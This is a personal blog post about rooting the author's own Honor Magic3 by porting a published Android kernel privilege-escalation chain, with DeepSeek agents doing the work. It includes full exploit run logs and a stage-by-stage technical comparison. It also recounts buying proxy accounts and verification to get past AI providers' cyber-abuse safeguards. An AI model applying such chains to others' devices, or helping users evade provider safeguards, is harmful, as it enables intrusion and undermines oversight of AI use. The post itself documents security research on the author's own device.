现充|junyu33

Sixty-four——I pwned an HONOR Magic3 using DeepSeek-V4.1-Flash

After giving it some thought, I've decided to place this article in the "blah" section, as the non-technical content makes up the greater part of the piece.

junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ bash /home/junyu33/elz-phase2/notes/artifacts/root.sh -v "id"
[check] target-page sha256 = 3720fc0ef95b2c4d654c6a660b211ee00eafac2bb37d85f5697dd483673a19d4
[chain] starting the chain (uid 2000 -> uid 0), about 40 s
=== P1: first bounded kernel write on the phone (uid 2000, no root, no GDB) ===
[0] links: T=0xffffffc012aae588 (ashmem_misc+0x10) read_jt=0xffffffc01182ae6c write_jt=0xffffffc01182b88c open=0xffffffc0101bd7a0 rt_mutex_init_waiter=0xffffffc0103686b4 do_futex=0xffffffc0103b3f04
[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
...
[chain] ready (uid 0 pty on 127.0.0.1:31337, adb forward active)
--- chain summary (154 lines) ---
  [S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
  [S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
  [S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
...
  [S0-SLIDE] d=0x190 samples=28163 candidates=2 best=0x2bc3a00000 votes=27395 second=135
  [S0-SLIDE] SLIDE=0x2bc3a00000 runtime_text=0xffffffebd3a80000 runtime_etext=0xffffffebd5240000
  [S0-SLIDE] kernel IPs in [_text,_etext)=150000/150000
...
  [7B] KREAD *(V+0x10)=0xffffffebd522ae6c (==read_jt: 1) *(V+0x18)=0xffffffebd522b88c (==write_jt: 1)
...
  [P1C-DAEMON] RESIDENT anchor_pt=/dev/pts/0 anchor_fd=3 window_pipe=held_by_parent listening=127.0.0.1:31337 uid=0 pid=7880
  [P1C-DAEMON] each connection forks a session child with its OWN pty+shell; this process never exits
...
  [CRIT] pos_uid0=1 pos_gid0=1 pos_caps=1 pos_mount0=1 neg1_mount=-1 neg2_uid=2000 init_sid=1870 count_win=1848 sid_written=1 page_ctl=0
  [END] *(T) restored to 0xffffffebd5cba298 (== ashmem_fops+slide: 1)
  [T] round segment = 24680 ms
--- end summary ---
[shell] id
id
:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0:c999
:/data/local/tmp #

Introduction

On July 9, 2026, my friend misane sent me a WeChat article about Nebula Security's disclosure of GhostLock, a Linux LPE that had remained hidden for 15 years and affected all distributions running kernel versions from 2.6.39 through 7.1 at the time. On July 15, Nebula demonstrated the entire process of using the vulnerability to root Android 17. Naturally, I was intrigued and immediately wanted to try it on my old Honor Magic 3. But I was busy with a paper submission, so I had to put the idea aside.

Two months later, on September 18, without being able to unlock the bootloader, I finally saw that # and uid=0 on the screen. SELinux restrictions meant there was very little I could actually do with it, but seeing them was already satisfying enough.

Of course, the price was rather painful (lol). I spent a whole week and more than 200 CNY, burning through over 3 billion tokens on deepseek-v4.1 flash for agent orchestration before finally stumbling my way to the goal like a blind man—after all, the last time I had touched kernel pwn was probably four years ago.

Early Exploration

Now that we know about this vulnerability, to pwn the phone sitting next to us, and to keep the process as smooth as possible while eliminating uncertainty, it's best to follow these steps:

  1. Confirm the phone's kernel version, the date of the latest Android security patch, and other relevant fields, to determine whether the device is affected. (Of course, this is obvious — otherwise this post wouldn't exist.)
  2. Find the open-source kernel source code corresponding to your phone's OS version. In theory, under the GPL, phone vendors are required to release it — but some domestic vendors may say one thing and do another, going weeks without replying to emails. Then flash the phone to that version.
  3. Based on the corresponding kernel source, plus some device tree files the vendor has published, construct a Linux simulation environment with a kernel config as identical as possible — including but not limited to the architecture, compiler version, etc. Of course, it can't be made completely identical. For example: when building TEE-related kernel components, the vendor obviously won't attach its signing private keys to the open-source files.
  4. Now you have a Linux simulation environment — say, QEMU. Start reproducing each step according to the official writeup, then gradually tear away the scaffolding: enable LTO+CFI, enable KASLR, then strip debug symbols, and finally get a rootshell even without relying on gdb.
  5. Finally, take the exploit script you've finished in QEMU and actually go blind-debugging on that phone. How long this takes is highly uncertain. With luck, one or two iterations might resolve all the bugs or discrepancies; otherwise, you could get stuck on the last step forever, never knowing which offset is off by a few bytes — or, even worse, some discrepancy could make the exploit theoretically impossible in the first place.

Preparing the Flashing Infrastructure

Our goal is to get a root shell, but not every software version happens to be exploitable—or has the corresponding source code available. Switching between system versions by flashing the device is therefore more or less unavoidable. Since flashing always carries some risk, the first thing to do is back up the existing data. The backup process itself is outside the scope of this article.

Once the backup is done, there is much less to worry about. For this particular ELZ-AN00 device, downgrade packages can be found on Xianyu for around 1 CNY, allowing the phone to be downgraded all the way from MagicOS 8.0 to MagicUI 5.0.

To reduce the risk of permanently bricking the device, another useful—though not strictly necessary—tool is a firehose programmer for Qualcomm 9008 mode. This gives us low-level read/write access to the phone's non-secure-world partitions. If something does go seriously wrong, previously backed-up partition images can be written back to recover the device.

As for the firehose programmer, I just tried searching for it again and realized that I can no longer find the site where I originally downloaded mine. Most of the other sites I found now require an account or payment. Fortunately, I still have a copy locally, so if you genuinely need it, feel free to email me.

Besides the flashing packages and the firehose programmer, another important ingredient is the official source code. This device is relatively fortunate in that two versions can be found on HONOR's global open-source page:

These happen to correspond exactly to the two ends of the version range covered by the 1-CNY downgrade package. In my later work, I ran into obstacles during the final round of on-device debugging on MagicOS 8.0, and eventually succeeded in exploiting the device on MagicUI 5.0 instead.

On the hardware side, the downgrade package from Xianyu is intended for local flashing through recovery. We therefore need a USB flash drive with a Type-C connector; otherwise, a Type-C adapter is unavoidable.

Which model to use as an assistant?

As mentioned in the intro, the last time I played CTF pwn was four years ago. Back then, even grinding BUUCTF every day, I had only just learned those handful of "house of xxx" exploitation tricks, and on the kernel side I had barely figured out the general flow of ret2usr. But with the boost from AI, even though I can't (and don't have the time or energy to) verify every detail of the exploitation process, I can at least keep the big picture straight. Having decided to get LLM's hands dirty, the first question was which LLM to choose. The situation at the time (early August) was as follows:

So I was torn between Kimi and GLM, but in the end I decided on Kimi, because I had some connections from high school at Moonshot AI. I planned to clearly explain my background and goals, and see if going through my network could get me a referral to skip the waitlist and get some testing access — as it turned out, I got referred to the OpenHarmony CTF instead, where they asked if I wanted to compete. Honestly, that felt worse than not being referred at all.

No way around it, I decided to reach out to that Moonshot AI "relevant person" myself. I did three things:

That route was clearly dead too. So I went back to my senior and asked if he'd ever used Kimi. He said he had an account, but couldn't lend it out due to company privacy policies. However, he pointed me to a path: buying a waitlist-approved account on Xianyu. The result was simple — solved for a bit over ninety yuan.

In hindsight, not choosing GLM back then was such a correct decision.

Next, I spent another 199 on the Allegretto plan (reimbursable anyway, so who cares). I had already gotten GPT to compute some offsets for the actual phone against the vulnerability repository, and then I jumped straight onto Kimi-K3, throwing it a /goal — a rough prompt along the lines of "find the kernel version closest to the real device, try to reproduce this vulnerability in QEMU, and get a root shell." My phone's kernel version was 5.4.289 at the time; it found a 5.4.200 Ubuntu image, and after several days of repeatedly waiting out the 5-hour limits, it actually got a QEMU root shell — with me "allowing gdb to help inspect the relevant addresses"!

Of course, things didn't go so smoothly afterward. I asked it to try removing the gdb helper, and it kept at it for a long stretch without progress. I tried to get it to adapt the exploit to the real device, and it said it was theoretically impossible. On top of that, my quota was draining fast — and web chat sessions counted against quota too — burning through a month's worth in about two weeks. My senior really wasn't wrong about that.


On August 18, just before the rebuttal, I decided to bite the bullet and spend another 95.4 yuan on a proxy Cyber verification for GPT. It worked — the annoying Cyber pop-ups did largely disappear, though not entirely. My impression at the time was that GPT-5.6 had indeed made some progress. Unfortunately, the next day (the 19th), OpenAI, citing "technical reasons" — namely, some users' Cyber information being lost during the migration to Daybreak — revoked my Cyber status. The seller had explicitly stated that "a successful verification marks the end of the service, no refunds accepted," but seeing that I had only used it for a single day, they refunded me anyway.

After that, I wanted to re-verify right away. But considering that if the rebuttal got my account banned it would hardly be worth it, and that after September 1 there would also be a hardware FIDO key requirement, I decided not to take the risk with Cyber verification again. Instead, I kept exploiting using models without built-in Cyber detection (for example GPT-5.4 / 5.6-luna). This time, not only did the model keep insisting "I found a contradiction in the earlier steps," but I also received three consecutive Cyber abuse emails (although after my appeals they all said sorry and reversed). Things made zero progress either way.

Once the rebuttal was completely over, I went back on Xianyu after September 1 and found that Cyber verification was no longer the few-dozen-yuan deal it used to be — verification alone cost six to seven hundred yuan. Even the acquaintance channel introduced by my senior cost 350, a fully set-up account ran 1000, and Plus/Pro 20x had surged to the absurd heights of 2300/3900. And the verification side had strict account requirements too:

More importantly, even if you met all these conditions, passing wasn't guaranteed — and passing didn't guarantee you wouldn't lose Cyber or get banned later. While I could afford those few hundred yuan, I kept agonizing over whether it was worth spending at least 350 + 140 = 490 yuan for this one-time root purchase (since the previous account was already dead), and taking on that much risk all over again — until—

the arrival of DeepSeek V4.1 Flash put an end to my dilemma.

Kicking Off for Real

On September 10, DeepSeek V4.1 Flash officially launched. The costs (during off-peak hours) compared to the original V4 Pro are as follows:

Model deepseek-flash deepseek-v4-pro
Model version DeepSeek-V4.1-Flash DeepSeek-V4-Pro-0813
Context length 1M 1M
Output length Max 384K Max 384K
Image understanding Supported Not supported
Per million tokens input (cache hit) 0.02 CNY 0.15 CNY
Per million tokens input (cache miss) 1 CNY 4.5 CNY
Per million tokens output 4 CNY 13.5 CNY
Concurrency limit 2500 500

More importantly, the Cyber capabilities:

Benchmark V4 Pro 0813 V4.1 Flash Change
CyberGym 83.3 88.1 +4.8
SEC-Bench Pro 56.4 62.8 +6.4
ExploitGym 5.4 15.3 +9.9, roughly 2.83×

We can draw two conclusions:

  1. My kernel pwn scenario definitely involves long conversations, where the context is the code for the entire exploitation chain plus the corresponding run logs, and involves repeated debugging. This pushes the cache hit rate very high (in practice, it stayed above 99% most of the time). A quick back-of-the-envelope calculation shows that for the same number of tokens, V4.1 Flash costs less than 1/7 of V4 Pro.
  2. As for benchmarks: since we already know what the vulnerability is, the task at hand is the entire process of getting a root shell from that vulnerability, so ExploitGym is the more relevant benchmark. The official metric measures the proportion of cases solved within 2 hours — and V4.1 Flash is nearly 3× Pro on that. Plus, my patience clearly extends well beyond two hours, so whether it can reach the final goal, Flash still looks promising.

On top of that, DeepSeek itself won't hit you with Cyber pop-ups the way GPT does, interrupting your work entirely. So as long as it can actually make progress — and doesn't go around in circles like GPT-5.4 / 5.6-luna — it's worth a shot. So I started pouring money into the DeepSeek API, gearing up for the next round of the assault.

Which MagicUI/MagicOS version to choose?

My initial choice was to continue from the partial adaptation that Kimi/GPT 5.4 had done on MagicOS 8 (Linux 5.4.242). But then DeepSeek told me a brutal fact:

MagicOS 8's sepolicy has no ashmem rules for shell!

And this happens to be the most core step in IonStack — so this version is a dead end, and all the offsets computed earlier became worthless.

No way around it, I had to pick up the infrastructure I had prepared earlier and downgrade. A basic security intuition is that the lower the version, the more vulnerabilities must have already been discovered — and indeed, I found that version 5.0.0.189 has at least two CVEs that can be triggered:

  1. CVE-2026-43499 — this very IonStack.
  2. CVE-2022-20421 — Binder race → binder_proc spinlock UAF.

The latter, however, is a race, so its success rate isn't very high; whereas IonStack has a 97% success rate, so naturally I went with IonStack.

How to direct "the three cobblers"?

My approach was to split the three LLMs into one master and two slaves:

For data exchange, the master can check the reports in the slaves' repositories to gauge the project's progress and give targeted next steps. As for the slaves, I deliberately did not give them the master's repository path, in order to avoid "attention interference" and to prevent them from absorbing the wrong offsets produced during earlier debugging with Kimi/GPT 5.4.

So what was the trigger? I fed the master node two Nebula links (the aforementioned ionstack-part-2/3), then gave it the project context:

This is an Honor Magic 3 device. Try reading device information, and start porting the PoC following the steps in these two links and the repository you have.

I also emphasized the legitimate security research background, fed it the five steps I mentioned in the Early Exploration section, and the gears of fate started turning.

Of course, V4.1 Flash still hallucinates, and the master itself can make mistakes. So before QEMU was pwned, my prompts also required that after reviewing and verifying each slave report, the master itself had to invoke an adversarial subagent with zero context, to check the master's own summary reports for inconsistencies.

Of course, the adversarial subagent itself might also hallucinate, but the probability of both happening together is already quite low — not enough to affect this project — so I chose to ignore the impact of this possibility.

The remaining question is whether you want to automate further. You could use another LLM with good computer-use capabilities (say, GPT-6 Astra) to shuttle prompts between sessions. But in my experience, each prompt's task takes at least 40 minutes or more, so the frequency isn't high. On the contrary, I think the more important thing is to keep an eye on the next-step plans the master lays out and check whether anything obviously goes off track — and occasionally, it really did happen a few times.

So unless an LLM's long-horizon memory can genuinely still recall what the truly important mission/step was from over a hundred prompts ago (note: this is not a hallucination problem), human-in-the-loop is still necessary. After all, the tokens and time saved may genuinely outweigh the human labor cost.

Can we go further after root?

The answer right now is No.

Although this work yields uid=0(root) gid=0(root) groups=0(root), the context is still u:r:shell:s0:c999, and in this phone's SELinux policy version, file read/write permissions sit with init or fs_type:filesystem mount, not the current shell domain. The SELinux policy is baked in at compile time by Honor — even with root privileges, you can't turn it off.

Of course, I did try switching the SELinux label from u:r:shell:s0 to u:r:init:s0, and mount("tmpfs", MPS[0], "tmpfs", 0, NULL) returned 0. So domain-switched mounting does work — it's just that without an unlocked bootloader, AVB prevents any modification from persisting, and Magisk remains out of the question.

Differences from Nebula's Official Approach

This part is heavy on technical details, so I'll just paste DeepSeek's output directly:


Only discussing the IonStack line. The official WP = the five-step chain from the public article; the "on-device facts" can all be verified by line numbers in the repository.

One-line overview

Official WP step Done as-is on device? Difference
① pselect stack reclaim + fake rt_mutex_waiter Structure changed Landing offset made explicit (shift=10); two fields don't exist on this device; the default "image address shape" was empirically refuted, replaced with a self-referencing shape in an owned page
② boot_id/loggers KASLR leak Approach kept, trustworthiness refuted Offset switched to alias conversion; plus boot_id polling as an oracle for "did the write land"; additionally, an ashmem_fops alias readout for the slide that the official writeup doesn't have
③ ashmem fops → configfs handlers Same slots, different functions Uses configfs_read_file/configfs_write_bin_file; legacy jump-table CFI requires "scan for b <body> to find the slot" — the *.cfi_jt symbol addresses in kallsyms are wrong
④ pipe_buffer → arbitrary R/W Same mechanism, opposite precondition Official: VMEMMAP/physmap fixed, direct conversion possible; on-device linear map is randomized, must probe aliases first
⑤ cred + SELinux + seccomp Same All constants localized; selinux_state is a "+0x1" field within a symbol; first went through a kallsyms extractor flaw that required a full re-export of the block

Preliminaries (determine every subsequent step)

Different CLI/CFI generation — this is the biggest structural difference. The official writeup says Android switched to signature-based kCFI starting in 2022, so "same-signature replacement" suffices. This device is Android 11 / 5.4.86, using the legacy jump-table CFI — kallsyms is full of *.cfi_jt symbols. So:

Linear map randomization goes the opposite way. Official: 1db780bafa4c removed arm64 linear map randomization → physmap is fixed, VA↔page conversion works directly. This device is 5.4, which doesn't have that commit; ELZ's target.h explicitly says DIRECT_MAP_BASE/END, VMEMMAP_START are not valid runtime constants — you must probe aliases within KERNELSNITCH_IDENTITY_START..END, and "never treat DIRECT_MAP_BASE/END as truth". For this, util.c splits into two profiles: truephone / sim.

Vendor-private config changes the layout. CONFIG_HN_VIP_THREAD=y makes struct mutex 40 bytes, and page/needs_read_fill/bin_buffer/bin_buffer_size/cb_max_size in struct configfs_buffer all shift downward (the values differ between the 5.4.86 and 5.4.242 targets — see the comment in target.h). The official target has no such vendor switch.


① Stack reclaim + fake waiter

② KASLR leak

③ fops hijack

④ pipe_buffer → full arbitrary R/W

⑤ cred / SELinux / seccomp


What didn't change (so we don't overstate the differences)

Quantitative evidence: the device-side code forked entire stages

Diff of same-named stage files against upstream (exploit/src/*.c vs targets/ELZ-AN00-5.0.0.189/*.c):

File (corresponding WP step) Upstream lines On-device lines + −
slide.c (① ② trigger/leak) 1343 2205 1320 550
pipe.c (④ arbitrary R/W) 845 1986 1196 160
util.c (page prep/alias/probe) 1037 1463 633 233
fops.c (③ hijack + slide verification) 445 991 535 34
preload.c 404 536 140 18
main.c (stage orchestration) 269 311 99 59
root.c (⑤) 446 521 84 14

In other words: of the official five steps, step ⑤ (cred/SELinux) was changed the least; steps ①/② (trigger and leak) and ④ (physical R/W preconditions) were changed the most. Additionally, the on-device work built benches the official team doesn't have: a nokaslr root-shell reproduction under qemu-honor-5.4.242 (6457819, reproduced twice) + a CFI smoke harness (37672a2) + sim/truephone dual profiles — first running the Honor 5.4 rtmutex walk and fake waiter shape offline before touching the real device; plus one log-fidelity fix (historical logs lacked fdatasync, so all panic-location inferences were downgraded to "no earlier than the last preserved marker").

In one sentence: the official writeup is a chain on "new kernel + signature-based CFI + fixed physmap + rerunnable playground"; the on-device work is "5.4 vendor kernel + legacy jump-table CFI + randomized linear map + non-rerunnable real device" — so steps ①②④ were nearly rewritten, step ③ swapped handlers and hit the .cfi_jt pitfall, and step ⑤ only needed new constants.

Afterword

If someone were to ask me, "You aren't going to do this in the future, and you don't know every single detail of the entire process—so what was the point of spending over two hundred on it?"

I would answer:

Just getting the thrill of doing it once was enough.

I don't plan to make a living from this, but I'm glad I actually did it at least once in my life.

junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ adb.exe devices
List of devices attached
<redacted>              device

junyu33@zjy-asus:/mnt/c/Users/junyu33/Desktop$ bash /home/junyu33/elz-phase2/notes/artifacts/root.sh -v "id"
[check] target-page sha256 = 3720fc0ef95b2c4d654c6a660b211ee00eafac2bb37d85f5697dd483673a19d4
[chain] starting the chain (uid 2000 -> uid 0), about 40 s
=== P1: first bounded kernel write on the phone (uid 2000, no root, no GDB) ===
[0] links: T=0xffffffc012aae588 (ashmem_misc+0x10) read_jt=0xffffffc01182ae6c write_jt=0xffffffc01182b88c open=0xffffffc0101bd7a0 rt_mutex_init_waiter=0xffffffc0103686b4 do_futex=0xffffffc0103b3f04
[S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
[S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
[S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
[S0-ENV] uptime=45.69
[S0-KNOB] perf_event_paranoid=-1
[S0-KNOB] unprivileged_bpf_disabled=EACCES
[S0-KNOB] perf_event_max_sample_rate=100000
[S0-ZONE] start_pfn=525824 spanned=2095616 MemTotal=7526044 kB => memstart=0x80000000 vmemmap=0xfffffffefde00000 physvirt_offset=0x8080000000 (I49 formula)
[SID] D files=27 distinct=9
[S0-SID] D=9 entries0=1851
[SID] CTX_WRITE 'u:r:init:s0:c999' rc=16 errno=0
[SID] XEC entries 1851->1852 delta=1 ctx='u:r:init:s0:c999' readback='u:r:init:s0:c999' match=1
[S0-SID] init_sid=1870 (formula (entries0-D)+28, fresh=1)
[SID] CTX_WRITE 'u:r:shell:s0:c999' rc=17 errno=0
[SID] XEC entries 1852->1853 delta=1 ctx='u:r:shell:s0:c999' readback='u:r:shell:s0:c999' match=1
[S0-SID] shell_sid=1871 (formula (entries0-D)+28, fresh=1)
[S0-ASH] OPEN(/dev/ashmem19831966-28f0-4e7a-b177-25b40f829564) fd=3 errno=0
[S0-ASH] SET_NAME rc=0 errno=0
[S0-ASH] GET_NAME rc=0 errno=0 back='P1MARK-00001ec4-0000b284' match=1
[S0-ASH] SET_NAME(blob) rc=0 errno=0
[S0-ASH] PRECONDITION OK
[V] victims forked: p1v0=7877 p1v1=7878 p1v2=7879 p1v3=7880 p1v4=7881 | sid types: p1v0=init p1v1=init p1v2=init p1v3=shell p1v4=init
[W] LOCK_PI rc=0 errno=0 tid=7882
[TID] W tid=7882 T0 tid=7883
[PERF] OPEN pid=7882 period=20000 fd=3 data_offset=4096 data_size=262144 errno=0
[DBG] warm ms=534 nkern=20247 nrec=20247 iters=444229
[DBG] warm ms=1076 nkern=40555 nrec=40555 iters=897829
[DBG] warm ms=1612 nkern=60702 nrec=60702 iters=1343429
[DBG] warm ms=2145 nkern=80946 nrec=80946 iters=1788992
[DBG] warm ms=2693 nkern=101683 nrec=101683 iters=2250132
[DBG] warm ms=3230 nkern=121984 nrec=121984 iters=2701596
[DBG] warm ms=3761 nkern=142117 nrec=142117 iters=3148164
[DBG] warm ms=4291 nkern=162190 nrec=150000 iters=3593843
[DBG] warm ms=4815 nkern=182017 nrec=150000 iters=4033486
[chain] ready (uid 0 pty on 127.0.0.1:31337, adb forward active)
--- chain summary (154 lines) ---
  [S0-ID] uid=2000 euid=2000 gid=2000 CapEff=0x0 CapPrm=0x0 Seccomp=0 NoNewPrivs=0
  [S0-ENV] uname=5.4.86-qgki-g33a9ed8573e1
  [S0-ENV] getenforce=1 domain=u:r:shell:s0 boot_id=19831966-28f0-4e7a-b177-25b40f829564
  [S0-ENV] uptime=45.69
  [S0-ZONE] start_pfn=525824 spanned=2095616 MemTotal=7526044 kB => memstart=0x80000000 vmemmap=0xfffffffefde00000 physvirt_offset=0x8080000000 (I49 formula)
  [S0-SID] D=9 entries0=1851
  [SID] XEC entries 1851->1852 delta=1 ctx='u:r:init:s0:c999' readback='u:r:init:s0:c999' match=1
  [S0-SID] init_sid=1870 (formula (entries0-D)+28, fresh=1)
  [SID] XEC entries 1852->1853 delta=1 ctx='u:r:shell:s0:c999' readback='u:r:shell:s0:c999' match=1
  [S0-SID] shell_sid=1871 (formula (entries0-D)+28, fresh=1)
  [S0-ASH] OPEN(/dev/ashmem19831966-28f0-4e7a-b177-25b40f829564) fd=3 errno=0
  [S0-ASH] SET_NAME rc=0 errno=0
  [S0-ASH] GET_NAME rc=0 errno=0 back='P1MARK-00001ec4-0000b284' match=1
  [S0-ASH] SET_NAME(blob) rc=0 errno=0
  [S0-ASH] PRECONDITION OK
  [S0-F] warm_iters=5028520 kern=227184 user=91636 records=150000
  [S0-SLIDE] d=0x190 samples=28163 candidates=2 best=0x2bc3a00000 votes=27395 second=135
  [S0-SLIDE] SLIDE=0x2bc3a00000 runtime_text=0xffffffebd3a80000 runtime_etext=0xffffffebd5240000
  [S0-SLIDE] kernel IPs in [_text,_etext)=150000/150000
  [S0-F] F_i=0xffffffc02eb5bcd0 F_ii=0xffffffc02eb5bcd0 match=1 F&0x3fff=0x3cd0 (want 0x3cd0) Hf=0xffffffc02eb5c000 dest=0xffffffc02eb5bcb0 delta=0x0
  [H2] REGION P: base=0xffffff80e128ac40 table=V=0xffffff80e128ac50 M=0xffffff80e128ad50 (V==base+0x10, M==base+0x110)
  [PF] T=0xffffffebd64ae588 (T-8=0xffffffebd64ae580) V=0xffffff80e128ac50 M=0xffffff80e128ad50 | F=0xffffffc02eb5bcd0 = dest+0x20 = Hf-0x330 ; T&7=0
  [RQ] CMP_REQUEUE_PI rc=-1 errno=35 tries=1 (EDEADLK=35)
  [VGATE] overwritten=1 bpf_errno=-13
  [TR1] sched_setattr(w=7882,nice=1)=0 errno=0 walk_ms=0 T=0xffffffebd64ae588 V=0xffffff80e128ac50
  [SELF-W1] M.rb_root=0xffffffc02eb5bcd0 M.leftmost=0xffffffc02eb5bcd0 M.owner=0x0 | chain_ran=1 F_is_Wstack_3cd0=1 M_mod_0x4000=0x3cd0
  [5d] OWNER REPAIR (second NT_PRFPREG write, before the first open) *(V+0x00)=0x0 (want 0)
  [7B] KREAD *(V+0x10)=0xffffffebd522ae6c (==read_jt: 1) *(V+0x18)=0xffffffebd522b88c (==write_jt: 1)
  [E0] TSECW tsec=0xffffff80c466df40 off=0xf44 sid=1870 n=4 (chain-owned pipe write)
  [E0] TSECW SKIPPED (sid=1870 tsec=0xffffff80b392d980)
  [E0] TSECW tsec=0xffffff80b3bf99c0 off=0x9c4 sid=1871 n=4 (chain-owned pipe write)
  [E0] TSECW tsec=0xffffff80f74f3940 off=0x944 sid=1870 n=4 (chain-owned pipe write)
  [P1C-DAEMON] RESIDENT anchor_pt=/dev/pts/0 anchor_fd=3 window_pipe=held_by_parent listening=127.0.0.1:31337 uid=0 pid=7880
  [P1C-DAEMON] each connection forks a session child with its OWN pty+shell; this process never exits
  [VREP0] role=POS(init: mount/ACC) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=0 errno=0 mount_tried=1
  [VREP1] role=NEG1(cred only) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=13 mount_tried=3
  [VREP2] role=NEG2(page-aligned) site_sid=1870 uid=2000 gid=2000 euid=2000 egid=2000 cap_eff=0000000000000000 cap_prm=0000000000000000 mount=-1 errno=13 mount_tried=3
  [VREP3] role=POS(shell: console) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=0 mount_tried=0
  [VREP4] role=(null) site_sid=1870 uid=0 gid=0 euid=0 egid=0 cap_eff=ffffffffffffffff cap_prm=ffffffffffffffff mount=-1 errno=0 mount_tried=0
  [CRIT] pos_uid0=1 pos_gid0=1 pos_caps=1 pos_mount0=1 neg1_mount=-1 neg2_uid=2000 init_sid=1870 count_win=1848 sid_written=1 page_ctl=0
  [END] *(T) restored to 0xffffffebd5cba298 (== ashmem_fops+slide: 1)
  [T] round segment = 24680 ms
--- end summary ---
[shell] id
id
:/data/local/tmp # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid) context=u:r:shell:s0:c999
:/data/local/tmp #